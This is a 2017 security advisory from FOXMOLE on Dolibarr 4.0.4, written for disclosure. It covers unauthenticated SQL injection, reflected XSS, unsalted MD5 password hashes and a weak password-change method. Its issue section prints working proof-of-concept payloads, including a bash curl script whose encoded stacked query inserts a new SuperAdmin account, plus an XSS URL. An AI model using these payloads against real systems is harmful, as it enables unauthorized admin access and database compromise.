=== FOXMOLE - Security Advisory 2017-02-23 === Dolibarr ERP & CRM - Multiple Issues ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected Versions ================= Dolibarr 4.0.4 Issue Overview ============== Vulnerability Type: SQL Injection, Cross Site Scripting, Weak Hash Algorithm without Salt, Weak Password Change Method Technical Risk: critical Likelihood of Exploitation: medium Vendor: Dolibarr Vendor URL: https://www.dolibarr.org/ Credits: FOXMOLE employees Tim Herres and Stefan Pietsch Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-02-23.txt Advisory Status: Public OVE-ID: OVE-20170223-0001 CVE Number: CVE-2017-7886, CVE-2017-7887, CVE-2017-7888 CVE URL: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7886 https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7887 https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7888 CWE-ID: CWE-79, CWE-89, CWE-327, CWE-620, CWE-759 CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C) Impact ====== There are SQL injection vulnerabilities, exploitable without authentication. An attacker could use the SQL Injection to access the database in an unsafe way. This means there is a high impact to all Dolibarr installations. The passwords in the database are stored as MD5 hashes which means they are easily crackable. The Dolibarr software also lacks input validation resulting in different reflected XSS vulnerabilities. Information =========== We only provide examples for issues, there are quite more. It is really important to check the whole application for further vulnerabilities. We want that developers change the overall security according to security best practices instead of fixing only particular issues. Issue Description ================= All items tested using FF52. 1.) SQL Injection in style.css.php (CVE-2017-7886) Authentication Required:No PoC: http://192.168.241.143/doli/theme/eldy/style.css.php?lang=de%27%20procedure%20analyse(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))%2c1)--%201 PoC creating a new admin user via SQL Injection: ################################################################################## #!/bin/bash URL="http://192.168.19.19/theme/eldy/style.css.php?lang=de%27%3BINSERT%20INTO%20\ llx_user%20VALUES%20(424242%2C%200%2C%20NULL%2C%20NULL%2C%201%2C%200%2C%20%27\ 1984-01-01%2000%3A00%3A00%27%2C%20%271984-01-01%2000%3A00%3A00.000%27%2C%20NULL\ %2C%20NULL%2C%20%27newadmin%27%2C%20NULL%2C%20%2761529519452809720693702583126814\ %27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%20%27SuperAdmin%27%2C%20%27%27\ %2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\ %27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%201%2C%201%2C\ %201%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\ 2017-03-10%2000%3A00%3A00%27%2C%20%272017-03-10%2000%3A00%3A00%27%2C%20NULL%2C\ %20%27%27%2C%20NULL%2C%201%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%200%2C\ %20%27%27%2C%200%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL)%3B--%27" curl -s ${URL} ################################################################################## The script creates the user 'NEWADMIN' with password 'ximaz'. 2.) Cross Site Scripting Reflected (CVE-2017-7887) http://192.168.241.143/doli/societe/list.php?sall=asd%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E 3.) Passwords stored using MD5 hashes (CVE-2017-7888) The application stored the passwords using the MD5 hash algorithm without a salt. The MD5 hash is easily crackable. dolibarr=# SELECT login,pass_crypted FROM llx_user; login | pass_crypted -------+---------------------------------- admin | 21232f297a57a5a743894a0e4a801fc3 4.) Unsafe password change method A user can change his password without entering the recent one. Temporary Workaround and Fix ============================ FOXMOLE advises to restrict the access to all vulnerable Dolibarr systems until all vulnerabilities are fixed. History ======= 2017-02-15 Issue discovered 2017-03-06 Vendor contacted 2017-03-27 informed Vendor about disclosure date (2017-05-10) 2017-04-18 added CVE Numbers 2017-05-10 Advisory Release GPG Signature ============= This advisory is signed with the GPG key of the FOXMOLE advisories team. The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc